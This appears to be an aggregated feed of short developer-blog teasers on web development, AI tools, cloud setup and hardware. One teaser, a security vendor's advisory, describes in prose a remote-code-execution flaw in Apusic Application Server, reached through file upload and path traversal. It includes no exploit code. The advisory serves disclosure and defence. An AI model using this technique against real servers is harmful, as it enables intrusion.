    Real-World Inspiration daily frustration. I run a car wash business in Kenya called Central Classic Car Wash, and I was drowning in chaos. Vehicles would come in and leave without being logged. I had no visibility into job history, payments, or worker productivity. Returning customers could not be tracked, and cash leakages were frequent. I needed a system that would bring structure, accountability, and automation. But there was nothing affordable or practical for small service businesses like mine. That is when I decided to build Classent. What It Does With Classent, car wash owners can: Automatically capture and register incoming vehicles using CCTV integrated with AI-powered license plate recognition. Log jobs and assign services through a streamlined, user-friendly operations dashboard…  ( 7 min )
    Best AI Code Generators You Should Know If You Want To Stay Ahead🚀
    Hello Devs! 👋 The world of software development is evolving faster than ever, thanks to a new generation of AI-powered tools that help you code smarter, faster, and with fewer errors. In this article, I’ll be covering some of the best AI code generators that can boost your productivity, whether you're debugging, generating tests, reviewing code, or building full-stack apps from scratch. Let's get started🚀 Qodo- Quality-First AI Coding Platform qodo is a trending tool that developers can use to enhance their coding experience with the power of AI. It is an innovative AI-powered code quality platform designed to enhance the developer's development process. It provides you with smart code analysis, ensuring that the codebase remains clean, efficient, and error-free. 💡Learn more about au…  ( 10 min )
    Python Izoh
    Assalomu aleykum hurmatli dasturchi bugun siz bilan Python dasturlash tilida izoh qoldirishni O'rganamiz. Izoh nega kerak ekanligini bilib olaylik. Izoh lar ochiqva yopiq turga bo'linidi! Ochiq izoh - Bu foydalanuchiga ko'rinib turadigan izohlar turiga kiradi. Masalan! Tizimga kirish vaqtida sizning login parolongizni to'g'ri yoki notog'ri ekanligini bildiruvchi xabarni misol keltirsak bo'ladi. Yopiq izoh - Bu Dasturchilar o'rtasida yana bir bor tushuntirish kerak bo'lmasligi uchun dasturga sharx sifatida qoldiriladigan izohlar hisoblanadi! Python dasturlash tilida misol: # bu bir qatorli komentariya uchun ishlatiladi print("Bu izoh bir qatorli komentariya uchun") Izoh o'zi nima uchun qo'llaniladi? Izoh Python dasturlash tilini O'rgatish uchun ham ishlatishi mumkin! Kodni o'qilishi uchun sharxlardan foydalanish mumkin. Jamoa bo'lib ishlagan vaqtda kodingizni qayta jamoaningizga tushuntirish zarur emas! Chunki izoh qoldirib yozgan kodingizni ham tushuntirib ketish imkoniyatiga ega bo'lasiz! Qanday qilib Izohlar Yaratamiz? Python Dasturlash tilida Izoh yataish # Keyin izoh yoziladi# belgilab bo'lgandan keyin Python yozilgan kodni komputer tiliga o'tkazganidan keyin etiborsiz qoldiradi #bu izoh uchun yozilgan kod print("Ilmhub IT school") Izoh - izohni faqat yangi qatorga emas yozilgan kodni to'g'risiga yozsak ham bo'ladi Misol Uchun: print("Assalamu aleykum Men Python dasturlash tilini") #Bu izoh uchun yozildi Ko'p qatorli komentariya qilish uchun biz - """ bu ichiga xar qanday kodni yozsak ham bizni ko'p qator yozgan narsamizni komentariya ichiga olib beradi """  ( 3 min )
    Camshaft Sensor: Hogwarts' Engine Whisperer
    The engine of a Muggle car roars like a Hungarian Horntail—powerful, unpredictable, and prone to chaos if not tamed. But hidden beneath the hood, a tiny "magic core" keeps the beast steady: the camshaft sensor. Think of it as the Sorting Hat of engines—quiet, unassuming, yet it knows exactly where everything should be, when. What Is This "Engine Whisperer"? The Two "Wand Cores" of Camshaft Sensors camshaft sensors have two magic cores: Hall Effect: The Phoenix Feather of Sensors These use magnetic magic (Muggle term: Hall effect) to “see” the camshaft’s spin. A tiny “target wheel” (think of it as a enchanted locket with notches) spins past the sensor, and—poof—it sends a voltage signal to the ECU, like a patronus message: “Camshaft at 3 o’clock! Valves, you’re on!”. Perfect for finicky “p…  ( 5 min )
    Meta prompt; Why your prompt alone may be limiting your LLM
    A post by Robert Thomas  ( 3 min )
    🚀 Mixture-of-Recursions: How Recursive Transformers Are Getting Smarter AND Cheaper
    What if your language model could “think harder” only when needed—without blowing up your GPU bill? Meet Mixture-of-Recursions (MoR), Google DeepMind has released a new Transformers architecture that combines the best of adaptive compute and parameter sharing. Here’s what you need to know. We all love what massive Transformers can do—stunning few-shot learning, tricky reasoning, code completion, etc. But let’s be real: scaling up to billions of parameters means you need serious hardware and cash, whether you’re training or deploying. Parameter Sharing: Reuse the same weights across layers (think: Universal Transformers, recurrent models). Saves memory, but doesn’t solve compute waste. Adaptive Computation: Use early-exit or routing, so “easy” tokens don’t go through all layers. Saves comp…  ( 4 min )
    How To Build An API With Node, Without Additional Framework (SQL Included)
    This is not just a post... That's a how-to guide! Every technical project has its file structure. Whether it's a traditional MVC structure, organization by components or pages, by features, or even hexagonal architecture ("Ports/Adapters" for the insiders 😉), many possibilities are conceivable before even starting to code. "We structure our project like the previous one. Copy/Paste: it works!" Often considered secondary to the benefit of an application that executes quickly (and without error), the chosen architecture nevertheless has a crucial place in the project, to ensure the sustainability of current and future developments... Like project management strategies that have evolved over time (I'm thinking particularly of Agility and its principles), project organizations have become dem…  ( 16 min )
    Understanding JavaScript’s `?`, `?.`, `??`, and `||` Operators
    JavaScript includes several operators that look similar but do very different things. Four you'll often see are the ternary operator (? :), optional chaining (?.), nullish coalescing (??), and logical OR (||). Here’s a quick guide to each — what they do, how they differ, and when to use them. ? :) What it does: The ternary operator is a one-line shorthand for an if...else statement, letting you pick one of two values based on a condition. Syntax: condition ? valueIfTrue : valueIfFalse Example: const age = 20; const message = age >= 18 ? "Adult" : "Minor"; // "Adult" // Equivalent to: // let message; // if (age >= 18) { // message = "Adult"; // } else { // message = "Minor"; // } ?.) What it does: undefined instead of throwing an error if a property doesn’t exist. Syntax: object?…  ( 4 min )
    Laravel Filament Backend Starter – Build your admin panel fast
    Looking for a ready-to-use admin panel for your Laravel projects? Meet Laravel Filament Backend Starter — a clean, opinionated starter kit designed to help you ship faster with Laravel 12 and Filament PHP v3. Setting up a secure and well-structured backend can take hours. With this starter, you get: A fully functional backend panel — accessible via subdomain (backend.yourdomain.com) or path (yourdomain.com/backend). Secure authentication — with email invitations and password renewal on first login (using Filament Renew Password). User management out of the box — powered by Spatie Laravel Permission, with roles, permissions, and policies pre-seeded. User profile management (email, name, password, timezone) Light & Dark theme switch + empty custom theme ready to be extended Database notifica…  ( 4 min )
    Meet Your New Coding Companion: Cat CPU Monitor for VS Code 🐱💻
    Tired of boring system monitors? Say hello to Cat CPU Monitor - a delightful VS Code extension that combines utility with cuteness! See here: https://marketplace.visualstudio.com/items?itemName=MengAiDev.cat-cpu-monitor What Does It Do? 🐾 Adorable cat animation in your status bar that speeds up as CPU usage increases 🔍 Click the cat to see top 8 CPU-intensive processes 🖥️ Cross-platform support (Windows, macOS, Linux) 🎨 Visual CPU usage indicators with color gradients Why You'll Love It // Instead of this: const cpuStress = 100; // You get this: const codingWithCats = 😻; This extension transforms mundane system monitoring into a fun visual experience. When your CPU purrs along at 20%, your cat calmly blinks (=^..^=). But when your tests spike CPU to 90%? That cat starts sprinting like it's chasing a laser pointer (=^O.O^=) It means your cpu runs a lot fast!! Installation Open VS Code extensions (Ctrl+Shift+X) Search for "Cat CPU Monitor" Install and enjoy your new feline coding companion! Perfect For When You... 🚀 Need to spot resource-hungry processes quickly 🧑‍💻 Want to add some personality to your editor 📊 Prefer visual system monitoring over numbers 😸 Just really like cats (no judgment here) Open Source & Welcoming Contributions Found a bug? Have a feature idea? We welcome contributions! 🔗 GitHub: https://github.com/MengAiDev/cat-cpu-monitor-vscode  ( 3 min )
    Old-School Office, Modern CSS: My Axero Challenge Submission
    Interactive Retro Office Desk Navin Kumar R ・ Jul 25 #frontendchallenge #devchallenge #css  ( 2 min )
    UNSUPERVISED LEARNING
    Unsupervised learning falls under machine learning and it deals with unlabeled data. Without any human supervision unsupervised learning tries to find patterns, structures, relationships in the input data. Imagine having a large dtaset of customer transactions without having any predefined customer sections. But you start grouping the customers based on their purchasing habits. Unsupervised learning works by analyzing unlabeled data to identify patterns and relationships. The data is not labeled with any predefined categories or outcomes therefore the algorithm must find these patterns and relationships on its own. There are three key types of unsupervised learning. Clustering Dimensionality Reduction Association Rule Mining Clustering is the most commonly used technique under unsupervise…  ( 6 min )
    NocoBase Weekly Updates: Optimization and Bug Fixes
    Originally published at https://www.nocobase.com/en/blog/weekly-updates-20250725. Summarize the weekly product update logs, and the latest releases can be checked on our blog. NocoBase is currently updated with three branches: main , next and develop. main:The most stable version to date, recommended for installation; next:Beta version, contains upcoming new features and has been preliminarily tested. There might be some known or unknown issues. It's mainly for test users to collect feedback and optimize functions further. Ideal for test users who want to experience new features early and give feedback; develop:Alpha version, contains the latest feature code, may be incomplete or unstable, mainly for internal dev and rapid iteration. Suited for tech users interested in product's cutting-e…  ( 7 min )
    The Rise of Agentic AI: Frontend Dev Tools That Act for You in 2025
    Agentic AI Tools Every Frontend Developer Should Know in 2025 Agentic AI goes way beyond simple autocomplete — these smart tools actually think, plan, and act to help frontend developers ship faster, write cleaner code, and build smarter interfaces. Here’s a curated list of must-try agentic AI tools for frontend devs, organized by their core capabilities: Cursor — The Agentic AI Dev Assistant Cursor combines an advanced code editor with an AI that can understand your entire codebase, autonomously generate, edit, refactor, and debug code, and collaborate interactively. It’s tailor-made for React, JavaScript, TypeScript, and more. Unlike simple autocomplete tools, Cursor handles multi-step workflows and deep code context. GitHub Copilot X — AI That’s Becoming More Agentic The next-gen …  ( 4 min )
    How I deployed my first project for my devops portfolio: The HUNT (Infra and budget)
    The hunt for the cheapest infra without loosing performance After I successfully made my project, I proceeded for my plans on infra on where to host it. I made it on my raspberry pi 4b and also did it in CI/CD way (More on the CI/CD details in later posts). Which means I need an ARM64 architecture for my target infra on which I need to host my project. aws pricing calculator. At the very first glance x86-64 costing way too much compared to arm64. I didn't know why buy I do know seeing all my life home labbing and using pi I do get a general idea of performance and power consumption does play some role. I found this article as the time of writing, the question of arm vs x86 was intriguing to me. Though I not fully understood it but it did gave me the idea. Continuing to my budget setting …  ( 5 min )
    Creating a Creative Logo Generator Using Google AI Studio & Gemini
    Creating a Creative Logo Generator Using Google AI Studio & Gemini What I Built I developed an AI-powered logo concept generator that creates detailed logo descriptions and design briefs for businesses and projects. While the app focuses on generating comprehensive logo concepts and branding ideas rather than actual images, it provides designers and entrepreneurs with creative direction and detailed specifications for logo creation. You are a professional brand designer and creative director with expertise in logo design, color theory, and brand identity. Create a comprehensive logo concept based on the user's business information. Generate a detailed logo concept including: 1. Logo Concept Overview: Main design theme and visual metaphor 2. Design Style: Modern, vintage, min…  ( 7 min )
    Trained a CycleGAN Model for Real ↔ Painting Image Style Transfer Using PyTorch
    I built and trained a custom CycleGAN model for real ↔ painting style transfer using PyTorch. It transforms real-world photos into painting-style images — and back — using unpaired datasets. ResNet-based Generator + PatchGAN Discriminator Cycle-consistency, identity, and adversarial losses Full training, validation, and testing pipeline Inference on single images or full directories 🔗 GitHub Repo 👉 github.com/hitendraa/cyclegan Includes full code, setup instructions, and example outputs. Original paper: Unpaired Image-to-Image Translation using Cycle-Consistent Adversarial Networks Reference repo: junyanz/pytorch-CycleGAN-and-pix2pix Let me know what you think or if you want to try extending it!  ( 3 min )
    What Are the Basic Tools for Software Development?
    Software development is how we make apps, games, and computer programs. It may sound hard, but with the right tools, it becomes easier. These tools help developers write, test, and fix code. Just like a carpenter needs a hammer, software developers need their own set of tools. Let’s learn what they use! A code editor is like a notebook where developers write code. It shows the code in a clean, easy-to-read way. It also highlights parts of the code using different colors. This helps find mistakes faster. Some popular code editors are Visual Studio Code, Sublime Text, and Atom. They are simple and fun to use. Computers don’t understand human words. They only understand machine language. A compiler turns the code written by a developer into something a computer understands. Think of it like G…  ( 7 min )
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    How to Run Payload CMS in Docker Lukas Mauser ・ Jul 21 #webdev #docker #programming #javascript  ( 2 min )
    Vibe Coding: Why You Shouldn't Trust AI-Generated Code in Production
    According to GitHub, more than 40% of developers now use Copilot. But are we trusting AI too much, too fast? A new trend called vibe coding is gaining traction. While it can accelerate development, it also introduces silent risks — especially when AI-generated code is deployed in production without thorough review. As AI-assisted development tools become mainstream, developers are increasingly relying on tools like GitHub Copilot or ChatGPT to write code with minimal understanding of the underlying logic. This trend, commonly referred to as vibe coding, poses hidden risks, especially in production-grade systems. In this article, I explore what vibe coding is, its dangers, and how developers can avoid its pitfalls. Vibe coding is an emerging development method where users interact with larg…  ( 5 min )
    Breaking Down Epics into Actionable User Stories: A Step-by-Step Guide
    You’ve got a massive feature idea. It's exciting. It's visionary. But it's also… overwhelming. “Where do I start?” “How do I plan this with my team?” “Why does everything feel stuck during sprints?” If you've ever faced this, you're not alone. The truth is: most teams fail not because of bad ideas — but because of poor breakdowns. Let’s fix that. Here’s a step-by-step breakdown of how to turn chaotic epics into crystal-clear user stories that are easy to estimate, assign, and deliver — without burnout or confusion. Really? An epic is just a large feature or requirement that’s too big to be completed in a single sprint. For example: “Build user authentication system” — sounds reasonable, but that’s actually an epic. Why? Because it includes: Sign up Login Forgot password OAuth integratio…  ( 5 min )
    AI: No longer an exception. It is the norm.
    Signup here for the newsletter to get the weekly digest right into your inbox. Find the 10 highlighted links of weeklyfoo #94: The Pragmatic Engineer 2025 Survey: What’s in your tech stack? by Gergely Orosz, Elin Nilsson Which tools do software engineers use for backend development, frontend, infrastructure, AI tooling, and more, today? Reader survey, with feedback and analysis, based on 3,000+ responses 🚀 Read it!, survey, engineering Parsing 1 Billion Rows in Bun/Typescript Under 10 Seconds by Tae Kim Inspired by the 1BRC (1 Billion Row Challenge, originally in Java), I decided to write one in Bun/Typescript. 📰 Good to know, bun, performance Hard Things First by Subbu Allamaraju Excellence is unlikely to happen if you don’t address the hard problems early in project execution. 📰…  ( 4 min )
    The 10 Best Context Engineering Open Source Projects in 2025
    "Context engineering is the delicate art and science of filling the context window with just the right information for the next step." --Andrej Karpathy In 2025, context engineering is no longer a monolith. It has rapidly matured into several distinct branches: Memory Architectures: Tools that give AI systems long-term memory and persistence across sessions. Retrieval & Routing: Context selection systems that pull relevant information dynamically from large corpora. MCP Servers & Protocols: Standardized infrastructure enabling agent-to-context communication (e.g., Model Context Protocol). Workflow Composition: Frameworks that orchestrate multi-turn logic, tools, and memory in complex agent systems. Agent Platforms: End-to-end systems for deploying and managing AI agents with rich context c…  ( 5 min )
    Timestone: A Lightweight Java Library for Testing Time-Based Logic
    I’m excited to share an open-source project I’ve been working on called Timestone, a small but handy Java library for abstracting time sources and writing deterministic, testable time-based logic. If you’ve written code that deals with: session expiration retries with timeouts scheduled jobs or caches with TTLs then you know how painful it can be to test anything involving the passage of time. For instance, Thread.sleep(1000); assertTrue(Duration.between(start, Instant.now()).toMillis() > 1000); This is flaky, slow, and impossible to speed up in unit tests. While building time-based systems, I noticed that many open-source projects, Apache Kafka and Apache Flink for example, rolled their own fake clocks and manual timers to simulate time. I kept seeing duplicated patterns across internal …  ( 4 min )
    Demystifying Graph RAG: Transformative Approaches to Agent-Centric Systems
    Demystifying Graph RAG: Transformative Approaches to Agent-Centric Systems Introduction Hello everyone, I'm excited to discuss a topic that has recently gained traction in the tech industry: Graph RAG (Retrieval-Augmented Generation). I recently began writing a book on the subject, and I can't wait to share some insights from my research and experiences. Graph RAG connects the dots between graph databases and natural language models (NLMs), allowing for smarter, more efficient ways to handle data retrieval and agent memory systems. Graph RAG is a novel approach that combines the capabilities of graph databases with retrieval-augmented generation techniques. This synergy helps in creating intelligent agent systems that can efficiently search, filter, and retrieve relevant infor…  ( 5 min )
    From a Vim Script to a New Programming Language: Introducing OSE V3
    Every developer has that one script. The one you tweak, expand, and refactor until it barely resembles the original. For us, that script was the seed for Object Sense (OSE). What started as a custom VimL tool to solve our own workflow problems has, as of last month, evolved into OSE V3: a modern, general-purpose language we're now opening up to the world. This is its story, and why we think it matters in the age of AI. The Problem That Sparked a Language Back in 2022, our team at Codigger was building complex distributed systems. We were constantly fighting friction between different tech stacks: our core logic was in Java, our data scripts in Python, our automation in Shell, and our internal tooling still had remnants of VimL. The glue code was becoming more complex than the applications…  ( 4 min )
    Building a Configurable Rules Engine on Salesforce: A Modern Approach to Business Logic
    Modern business processes demand flexibility, configurability, and reusability in automating decisions, validations, and actions across domains like entitlement assignment, pricing, fulfillment, and compliance. However, traditional hard-coded logic in Salesforce (Apex triggers, workflows, etc.) is often difficult to maintain and adapt as business requirements evolve. Key Challenges Lack of Flexibility: Hard-coded rules require code changes for modifications. Redundancy: Similar logic is duplicated across objects and processes. Limited Reusability: Conditions and actions aren’t easily shared or reused. Business User Empowerment: Non-technical users can’t easily manage or update business rules. Design Approach To address these challenges, we propose a generic, extensible rules engine built o…  ( 5 min )
    Beyond the Clock: Why Time Tracking Needs a Mindset Shift
    In a world flooded with productivity tools, one thing remains stubbornly outdated: how we track time. For years, teams have logged hours, filled timesheets, and measured productivity with the blunt metric of "time spent." But here's the truth — hours don’t equal impact. ⚠️ Logging long hours doesn’t mean delivering meaningful work. So what should time tracking look like in 2025? ✅ Context-aware work sessions We're on the edge of a smarter work culture — and it starts with how we measure effort and outcomes. What do you think is the future of productivity tracking? Let’s start a conversation 💬  ( 3 min )
    OOP is the middle ages, FP is the enlightenment, FRP is impressionism, SOP is the modern minimalism
    If you're doing any Object-Oriented programming, chances are your code is bloated. If you're working on an enterprise application, even more bloated. One recurring, boring, time-consuming and error-prone pattern that occurs across the whole codebase and that's so hard to remove that most OOP programmers just get on with to get their paycheck is the Adapter Pattern, otherwise known as just "glue code". Large numbers of object instances laying in your codebase, each with a different API and some methods named after some squeezed-together English words to give a hint at what they do. Both functions down here perform the same operation of adding data. What's different is semantics, signature, style, tiny details: setData(items: Item[]) insertItem(item: Item) Modern AI companies selling point…  ( 5 min )
    What was your win this week?!
    👋👋👋👋 Looking back on your week -- what was something you're proud of? All wins count -- big or small 🎉 Examples of 'wins' include: Getting a promotion! Starting a new project Fixing a tricky bug Winning a game of tic-tac-toe 😄 Happy Friday!  ( 3 min )
    EM78P458APJ-G Datasheet: Features, Pinout, and Applications
    The EM78P458APJ-G is a cost-effective 8-bit microcontroller developed by Elan Microelectronics. It is designed for control-oriented embedded systems that require stable performance, low power consumption, and minimal external components. Overview Key Features This microcontroller offers 4K words of OTP program memory, 192 bytes of internal RAM, and 12 programmable input/output lines. It supports both RC and crystal oscillators, making it suitable for various timing-critical tasks. The device also integrates multiple timers, including one 8-bit and one 16-bit timer/counter, along with interrupt capabilities for enhanced real-time performance. Pinout The EM78P458APJ-G is available in SOP-20 and other compact packages. Its pin configuration includes power, ground, reset, and multiple I/O por…  ( 4 min )
    Backtesting lib Hi devs and traders I recently built a lightweight, backtesting library in Python, aimed at helping devs quickly test trading strategies using historical data – whether you're building a trading dashboard or running simulations. 🔗 GitHub
    A post by Ung Nguyen  ( 3 min )
    VIBE = Vulnerability In Beta Environment
    "Just vibe coding, bro" Welcome to the world of VIBE coders — where Looks cool. If your beta env has more design animations than input sanitization… You’re not shipping software, You're shipping zero-days with style.  ( 3 min )
    Running Serverless Wasm Functions on the Edge with k3s and SpinKube
    By: Matt Butcher Originally presented at SUSECON 25 by Matt Butcher, CEO of Fermyon Technologies. Watch the full presentation on YouTube. The cloud computing landscape has evolved through distinct phases: from one-to-one hardware-OS relationships, to virtual machines enabling multiple operating systems per machine, to containers providing lightweight process isolation. Today, we’re witnessing the emergence of a fourth paradigm: WebAssembly (Wasm) in the cloud — and it’s perfectly suited for serverless workloads on Kubernetes. While containers revolutionized how we package and deploy long-running services like NGINX, PostgreSQL, and API servers, they fall short for serverless workloads. Both virtual machines and containers suffer from the same fundamental limitation: startup times of 12+ se…  ( 5 min )
    The Rise of Superintelligence
    We're entering a new era — one where AI isn't just a tool, but a rapidly evolving force. From GPT-4 to open-source giants like LLaMA and Claude, we're watching machines reason, learn, and sometimes surprise us. But what happens when AI begins to surpass human intelligence in reasoning, coding, and decision-making? Are we prepared for superintelligent systems that can: Build better AIs themselves Hack before humans can patch Influence behavior and decisions subtly The line between science fiction and reality is thinning. 🔍 Developers, what’s your take? Are we building the next leap for humanity — or the next existential threat?  ( 3 min )
    🚀 How to Set Up an EC2 Instance and Clone a Private GitHub Repo Using SSH
    Step 1: Go to the AWS EC2 Dashboard. Click Launch Instance. Choose the Ubuntu AMI (Amazon Machine Image). Select the instance type (e.g., t2.micro for free tier). Configure storage, security group (allow SSH port 22), and key pair. Launch the instance. Step 2: a. Connect to your instance from your computer: ssh -i your-key.pem ubuntu@your-ec2-public-ip b. Inside EC2, create a new SSH key: ssh-keygen c. Go into the SSH folder: cd ~/.ssh d. List the files to see your keys: ls authorized_keys id_ed25519 id_ed25519.pub The .pub file is your public key — that’s what you’ll add to GitHub. e. Show your public key: cat id_ed25519.pub You will see something like this: ssh-rsa AAAAB3NzaC1... ubuntu@your-ec2-public-ip Copy the whole key! Step 3: Open GitHub. Go to Settings > SSH and GPG keys. Click New SSH key. Paste the key you copied from EC2. Give it a name like "EC2 Key" and click Add. Step 4: Go back to your EC2 terminal and run: ssh -T git@github.com Type yes if asked. Hi your-username! You’ve successfully authenticated... Step 5: Now clone your private GitHub project: git clone git@github.com:your-username/your-private-repo.git 🎉 That’s it! You now have your private GitHub repo on your EC2 server!  ( 3 min )
    Apusic Server RCE via File Upload and Path Traversal (Exploit Confirmed)
    > About Author SafeLine, an open-source Web Application Firewall built for real-world threats. While SafeLine focuses on HTTP-layer protection, our emergency response center monitors and responds to RCE and authentication vulnerabilities across the stack to help developers stay safe. In December 2023, a critical remote code execution (RCE) vulnerability was disclosed in Kingdee Apusic Application Server, a widely-used Java EE enterprise application server. The flaw stems from a backend file upload feature that can be exploited through path traversal techniques — giving attackers a way to upload malicious scripts outside of the intended directories and gain remote control over the server. The core issue lies in how the backend handles file uploads: The upload functionality is accessible fro…  ( 4 min )
    Is Qwen3-MT the Game-Changing Translation Model We've Been Waiting For?
    Alibaba released Qwen3-MT, a multilingual translation model that supports 92 languages and uses reinforcement learning for improved accuracy. This model addresses key limitations in existing translation systems through advanced training methods and comprehensive language coverage. Qwen3-MT builds on the Qwen3 architecture with enhanced multilingual capabilities. The model processes trillions of translation tokens during training, enabling better context understanding and cultural nuance preservation across language pairs. Download Apidog for free to test translation APIs effectively. The platform provides comprehensive testing tools for validating API responses, monitoring performance, and ensuring reliable translation service integration in your applications. The foundation of Qwen3-MT re…  ( 8 min )
    NeuroStream - Real-Time Brain-Computer Interface Analytics Platform
    This is a submission for the Redis AI Challenge: Real-Time AI Innovators. NeuroStream is a revolutionary platform that processes real-time neural signals (EEG/BCI data) to provide instant cognitive state analysis, personalized AI recommendations, and predictive mental health insights using all four Redis 8 features. live demo: https://youtu.be/woFh-WmRiFA https://github.com/poowa-gg/redischallenge Vector Set [Beta] - Neural Pattern Recognition I used Redis 8's Vector Set feature to implement semantic neural pattern search and cognitive state classification: python await redis_client.vector_add( similar_patterns = await redis_client.vector_search( Cognitive State Classification: 128D vectors represent different mental states (focus, stress, creativity, fatigue, meditation) Pattern Similar…  ( 5 min )
    Is it worth taking HashiCorp's Terraform Associate exam?
    Initially, I overlooked Terraform for the past few years, something I never imagined I'll be using. Until for the past few months and now, after falling in love with it, I am proud to announce that I've passed the HashiCorp Certified: Terraform Associate (003) examination and am now officially certified. As someone new to Terraform (just started this year), I aimed to get this certificate not because I want to, but because of necessity: I won't be able to utilize it anymore due to difference in tools used in my current team, so I had to take an initiative by using what I've learned to the fullest and make it worth as much as I can. So for me, I truly believe the Terraform Associate exam is worth it. I had a hard time learning Terraform's opinionated structure -- being much more opinionat…  ( 4 min )
    ⚡ Optimize Like a Pro: Memoization, Suspense, and Beyond
    Hey community! 👋 how to optimize like a pro with Memoization, Suspense, and more. 🚀 ✅ 1. React.memo – Stop Unnecessary Re-Renders By default, React re-renders a component when its parent updates—even if props didn’t change. const Button = React.memo(({ label }) => { console.log('Rendered!'); return {label}; }); ✔ Only re-renders when label changes. ✅ 2. useCallback – Stable Functions Across Renders Passing inline functions as props? It causes re-renders. const handleClick = useCallback(() => { console.log('Clicked!'); }, []); ✔ Great for event handlers in child components. ✅ 3. useMemo – Cache Expensive Computations If you compute heavy values on every render, use useMemo to cache the result. const sortedData = useMemo(() => { return data.sort((a, b) => a.value - b.value); }, [data]); ✔ Only recalculates when data changes. ✅ 4. Suspense – Smarter Loading States Instead of conditional rendering everywhere, use React Suspense with React.lazy. const Profile = React.lazy(() => import('./Profile')); ✔ Handles lazy-loaded components gracefully. ✅ 5. Code Splitting – Load Only What You Need Big bundle? Split it into chunks using dynamic imports or tools like Webpack. const Settings = React.lazy(() => import('./Settings')); ✔ Reduces initial load time. ✅ Bonus: Profiler & DevTools Use React Profiler to identify slow components. ✅ Chrome DevTools → Components tab → Profiler 💬 What’s your go-to React optimization trick? Drop it below! 👇  ( 3 min )
    Remove Background API – Fast, Simple, and Ready to Integrate
    Hey Dev Community 👋, I'm excited to announce the launch of my new API on RapidAPI: Remove Background API – A production-ready, blazing-fast background removal service built for developers. Whether you're building an e-commerce platform, a photo editor, or an AI tool — background removal is a common need, and now it's easier to implement than ever. There are plenty of background removal tools, but most are: Tied to a front-end UI Not developer-friendly Overpriced for basic needs Lack proper API documentation or testing options RapidAPI Marketplace integration for immediate testing POST /remove-bg — Upload an image (JPG, PNG, WEBP, BMP) ✅ Returns a transparent PNG with the background removed 🖼️ Get a temporary URL 🧹 Uploaded files are auto-deleted after 5 minutes 💡 Overage pricing available (no surprise limits) You can test it directly on RapidAPI (no server setup required): 🔗 https://rapidapi.com/sohailglt/api/remove-background25 No bloated SDKs or complex auth. Simple request → clean response. Integrate it into: Web apps Mobile apps Bots SaaS tools Automation scripts If you're a developer, builder, or indie hacker, I'd love to hear how this fits into your stack — or how it can be better. Your feedback helps me improve, prioritize features, and refine the product roadmap. Drop a comment. Try the API. Share it if you think it's useful. This is just the beginning. I'm planning: Batch processing More file format options Thanks for checking it out. Would love your support! Cheers, – Sohail GitHub • RapidAPI  ( 3 min )
    Avoid These Angular Signals Mistakes - A Must-Read for Every Developer
    📖 Article: Are You Misusing Signals in Angular? Here Are 5 Mistakes You Might Be Making 🤔 Have you recently started using Signals in Angular and felt something was off? With Angular’s reactivity model getting a big boost thanks to Signals, many developers are rushing to adopt them—but in the process, they’re making subtle (and costly) mistakes that hurt performance, readability, or the reactive flow itself. In this article, we’ll walk through 5 common mistakes developers make when using Angular Signals—and more importantly, how to fix them with clean, professional code. Each mistake includes interactive, copy-ready demo code so you can try it right away. How Angular Signals work under the hood The right way to subscribe, mutate, and combine signals How to optimize performan…  ( 5 min )
    What Are Preflight Requests and Why They Matter
    If you've been reading about Cross-Origin Resource Sharing, or CORS in short, there is a good chance that you've come across this term: Preflight Request. It's an extra HTTP request that the browser makes before the actual, cross-origin request to make sure it's safe to send. It's basically an HTTP OPTIONS request that is automatically sent by browsers before certain cross-origin requests. It checks with the web server, and only if the server responds with the right CORS permissions does the browser proceed with the real request, otherwise the browser blocks it. This makes CORS secure: a browser checks both origin and intent before sending your actual data. Let’s break it down with a real example: OPTIONS /resource HTTP/1.1 Host: api.example.com Origin: https://app.example.com Access-Contr…  ( 5 min )
    How I Built a High-Traffic Free Calculators Website Using ChatGPT & AI — And Turned It Into Revenue
    In the age of AI, building a clean, fast, and user-focused website no longer requires a massive team. With the help of Google Ai- studio, ChatGPT and a bit of strategic thinking, I created a fully functional calculators website that not only drives daily traffic but also generates passive revenue. These are high-intent, evergreen queries. Instead of building just one calculator, I decided to create a complete platform of daily-use tools, all for free. 🧠 Enter: ChatGPT & AI Assistance Generated clean HTML/CSS layouts for each tool Created JavaScript logic for accurate calculations Wrote SEO-optimized descriptions, meta tags & FAQs Added structured schema for rich Google results All this saved me hours — and the results were surprisingly professional. 📈 Results: Traffic That Converts I now have 40+ calculators live — from finance to health — and the organic traffic keeps growing. 💰 Monetization: The Bonus Outcome TL;DR: 👉 Check out the live site: Free Calculator Follow me for updates as I scale this project further.  ( 4 min )
    Raspberry Pi 5 vs. Orange Pi 5 vs. KiWi Pi 5: Which SBC is Best for Developers?
    Single-board computers (SBCs) have become essential tools for developers, hobbyists, and tech enthusiasts. With the recent release of the Raspberry Pi 5, the competition in the SBC market has heated up. But how does it stack against competitors like the Orange Pi 5 and the KiWi Pi 5? Let’s break down the specs, performance, and programming capabilities of these three boards to help you decide which one is right for your next project. CPU: Broadcom BCM2712 (4× Cortex-A76 @ 2.4GHz + VideoCore VII GPU) RAM: 4GB / 8GB LPDDR4X GPU: VideoCore VII (supports OpenGL ES 3.1, Vulkan 1.2) Storage: MicroSD + PCIe 2.0 (for optional NVMe SSD) Video Output: Dual 4K@60Hz HDMI Wireless: **Wi-Fi 5, Bluetooth 5.0 2× USB 3.0, 2× USB 2.0 Price: ~$60 (4GB), ~$80 (8GB) Pros: Strong community support, official OS…  ( 4 min )
    Terratags Update: Advanced Pattern Validation, Multi-Provider Support, and Enhanced Reporting
    Since my initial post about Terratags in May 2025, the project has evolved significantly. What started as a weekend project to enforce basic tag presence on AWS resources has grown into a tagging validation tool with advanced pattern matching, multi-provider support, and updated reporting capabilities. Some of you reached out and opened issues/enhancement requests around some of the feature set currently available v0.4.0. The latest version of Terratags (v0.4.0) introduces several features that address some of the enhancement requests that came my way: The most significant addition is pattern validation - the ability to validate not just tag presence, but also tag values using regular expressions. This addresses a gap where teams need to enforce specific naming conventions, email formats,…  ( 5 min )
    [Boost]
    Writing Good Blaze Engineer Tasks (Automate Coding Tasks) Shane ・ Jul 23 #ai #programming #coding #tooling  ( 2 min )
    Build Cross-Platform Flutter Apps from Images
    Streamlining Image Integration with Flutter Getting your images into a Flutter app doesn't have to be a chore. With a bit of planning, you can set up a smooth process that saves you time and prevents headaches later on. It all starts with how you organize and declare your image assets. Think about where your images are coming from – are they local files bundled with your app, or are they hosted online and fetched over the network? This choice really shapes how you'll handle them in your code. Having a clear process for getting images into your Flutter project will save you headaches down the road. It's like setting up your workspace before you start building something; everything has its place, and you know where to find it. Here’s a basic workflow to get you started: Organize your images:…  ( 5 min )
    How to use the Slack MCP server with Claude flawlessly
